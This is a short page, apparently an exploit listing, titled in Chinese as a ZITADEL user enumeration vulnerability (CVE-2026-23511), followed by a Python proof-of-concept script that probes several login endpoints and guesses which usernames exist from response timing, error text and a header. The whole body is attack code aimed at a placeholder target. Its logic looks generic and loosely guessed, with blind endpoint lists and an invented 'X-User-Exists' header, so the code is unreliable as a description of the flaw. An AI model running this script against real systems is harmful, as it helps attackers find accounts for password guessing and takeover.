CVE-2026-23511 ZITADEL身份管理平台用户枚举漏洞

import requests import time # CVE-2026-23511 PoC - ZITADEL User Enumeration # Target: ZITADEL instance with vulnerable login interface TARGET_URL = "https://target-zitadel-instance.com" TEST_USERNAMES = ["admin", "test", "user", "administrator", "root"] def check_user_exists(username): """Check if a user exists by analyzing login interface response""" # Try different login endpoints endpoints = [ "/ui/console/login", "/oauth/v2/login", "/login", "/api/v1/users/_search" ] for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" # Method 1: Timing-based check start_time = time.time() response = requests.post(url, data={"username": username}, timeout=10) response_time = time.time() - start_time # Method 2: Response analysis if response.status_code == 200: # Check for user-specific error messages if "user not found" not in response.text.lower() and \ "invalid username" not in response.text.lower(): return True, endpoint, response_time # Method 3: Check response headers/length if response.headers.get('X-User-Exists') == 'true': return True, endpoint, response_time return False, None, None def main(): print(f"[*] Scanning for valid users on {TARGET_URL}") print("=" * 50) valid_users = [] for username in TEST_USERNAMES: exists, endpoint, resp_time = check_user_exists(username) if exists: print(f"[+] User found: {username} (via {endpoint}, time: {resp_time:.3f}s)") valid_users.append(username) else: print(f"[-] User not found: {username}") print("=" * 50) print(f"[*] Found {len(valid_users)} valid user(s)") return valid_users if __name__ == "__main__": main()